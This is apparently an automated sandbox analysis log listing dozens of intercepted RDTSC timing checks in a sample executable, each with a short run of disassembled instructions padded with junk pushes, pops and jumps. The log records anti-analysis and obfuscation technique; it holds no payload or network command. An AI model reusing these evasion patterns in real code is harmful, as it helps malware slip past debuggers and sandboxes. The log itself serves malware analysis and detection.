Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B49487 second address: B49491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B49491 second address: B494BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD0B5348056h 0x0000000a jmp 00007FD0B534805Ah 0x0000000f popad 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007FD0B534805Ch 0x00000019 je 00007FD0B5348056h 0x0000001f jno 00007FD0B534805Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B59F0E second address: B59F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jmp 00007FD0B548336Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B59F21 second address: B59F26 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B59D75 second address: B59D79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B59D79 second address: B59D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B59D82 second address: B59D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B59D90 second address: B59D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B59D96 second address: B59DA2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD0B5483366h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B65D86 second address: B65D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B65BDD second address: B65BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B65BE1 second address: B65BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B65BE5 second address: B65BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B65BF0 second address: B65BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jc 00007FD0B5348056h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B65BFE second address: B65C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B67814 second address: B6781A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B6781A second address: B6781F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B6781F second address: B67848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD0B5348056h 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD0B5348065h 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B67848 second address: B6784F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B6784F second address: B6786C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0B5348069h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B679BD second address: B679DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 js 00007FD0B548337Ah 0x0000000b jmp 00007FD0B5483372h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B679DC second address: B679E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B679E2 second address: B679EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B679EE second address: B679FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jng 00007FD0B5348056h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B8114D second address: B81153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B81723 second address: B8174D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Ah 0x00000007 jmp 00007FD0B5348064h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jl 00007FD0B534805Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B85DB2 second address: B85DC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD0B548336Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B85FC2 second address: B85FC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B85FC6 second address: B8603D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FD0B5483378h 0x0000000e jno 00007FD0B5483368h 0x00000014 popad 0x00000015 nop 0x00000016 mov dword ptr [ebp+1244D2D8h], edi 0x0000001c push 00000004h 0x0000001e or dl, FFFFFFAFh 0x00000021 call 00007FD0B5483369h 0x00000026 pushad 0x00000027 je 00007FD0B548337Bh 0x0000002d jmp 00007FD0B5483375h 0x00000032 pushad 0x00000033 push ecx 0x00000034 pop ecx 0x00000035 jmp 00007FD0B5483370h 0x0000003a popad 0x0000003b popad 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B8603D second address: B86041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B86041 second address: B86047 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B86047 second address: B86076 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD0B5348058h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jnp 00007FD0B534805Ch 0x00000015 pushad 0x00000016 push esi 0x00000017 pop esi 0x00000018 jc 00007FD0B5348056h 0x0000001e popad 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B86076 second address: B8607A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B8607A second address: B8608B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B87D90 second address: B87D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: B87D97 second address: B87DAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD0B534805Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 516019A second address: 51601A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5140EFA second address: 5140F6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD0B534805Fh 0x00000009 sbb ax, 7F8Eh 0x0000000e jmp 00007FD0B5348069h 0x00000013 popfd 0x00000014 mov ax, 1A97h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d jmp 00007FD0B534805Ah 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FD0B534805Dh 0x0000002c add cl, 00000076h 0x0000002f jmp 00007FD0B5348061h 0x00000034 popfd 0x00000035 mov eax, 71C7A567h 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 519001C second address: 5190096 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B548336Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bl, al 0x0000000d pushfd 0x0000000e jmp 00007FD0B5483371h 0x00000013 xor si, 2646h 0x00000018 jmp 00007FD0B5483371h 0x0000001d popfd 0x0000001e popad 0x0000001f push eax 0x00000020 pushad 0x00000021 jmp 00007FD0B5483377h 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 pushad 0x00000029 mov di, DE56h 0x0000002d movsx edx, ax 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FD0B5483375h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5190096 second address: 51900A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0B534805Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51900A6 second address: 51900BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD0B548336Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51900BB second address: 51900CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0B534805Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51900CD second address: 51900D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 512013D second address: 512015D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, B4h 0x00000005 mov ax, 5C97h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD0B534805Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 512015D second address: 512017A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483379h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 512017A second address: 5120180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120180 second address: 5120184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5120184 second address: 51201A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD0B5348062h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51201A1 second address: 51201A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5140C7A second address: 5140CF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 movzx esi, dx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebp 0x0000000d pushad 0x0000000e mov ebx, ecx 0x00000010 jmp 00007FD0B5348060h 0x00000015 popad 0x00000016 mov dword ptr [esp], ebp 0x00000019 jmp 00007FD0B5348060h 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FD0B534805Eh 0x00000027 or cx, 3C08h 0x0000002c jmp 00007FD0B534805Bh 0x00000031 popfd 0x00000032 mov esi, 5E8B127Fh 0x00000037 popad 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c mov ecx, ebx 0x0000003e call 00007FD0B5348063h 0x00000043 pop ecx 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51407D7 second address: 51407DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51407DD second address: 51407E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51407E1 second address: 51407FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD0B548336Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51407FC second address: 514080B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5140641 second address: 5140670 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483371h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cl, C4h 0x0000000d movsx edx, ax 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD0B548336Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5140670 second address: 5140674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5140674 second address: 514067A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 514067A second address: 5140691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0B5348063h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5140691 second address: 5140706 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483379h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FD0B5483373h 0x00000015 or ch, FFFFFFFEh 0x00000018 jmp 00007FD0B5483379h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FD0B5483370h 0x00000024 adc ch, FFFFFFF8h 0x00000027 jmp 00007FD0B548336Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5140706 second address: 5140738 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD0B534805Fh 0x00000009 sbb cl, FFFFFFBEh 0x0000000c jmp 00007FD0B5348069h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5140738 second address: 5140797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 jmp 00007FD0B548336Ch 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FD0B548336Dh 0x00000018 sbb ax, EDA6h 0x0000001d jmp 00007FD0B5483371h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FD0B5483370h 0x00000029 xor al, 00000048h 0x0000002c jmp 00007FD0B548336Bh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5140360 second address: 5140366 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5140366 second address: 514036C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 514036C second address: 51403A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348068h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD0B5348060h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51403A2 second address: 51403A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51403A6 second address: 51403C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348068h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51403C2 second address: 51403C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51403C8 second address: 51403CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51403CC second address: 51403E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD0B548336Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51403E4 second address: 5140401 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5140401 second address: 5140427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483371h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD0B548336Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 515037D second address: 5150383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5150383 second address: 51503E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD0B5483378h 0x00000008 pushfd 0x00000009 jmp 00007FD0B5483372h 0x0000000e sub ah, FFFFFFC8h 0x00000011 jmp 00007FD0B548336Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov ecx, 0939125Bh 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007FD0B548336Dh 0x00000028 xchg eax, ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FD0B548336Dh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51503E9 second address: 5150419 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edi, 4B85541Eh 0x00000013 call 00007FD0B534805Fh 0x00000018 pop eax 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5150419 second address: 515041F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 514057C second address: 51405AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD0B5348061h 0x00000008 mov bh, ch 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD0B5348065h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51405AF second address: 51405C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483371h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51405C4 second address: 51405C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51405C9 second address: 5140607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0B548336Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e jmp 00007FD0B548336Eh 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD0B5483377h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 5160076 second address: 51600A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348063h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD0B5348065h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51600A5 second address: 51600C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483371h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 51600C1 second address: 51600C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
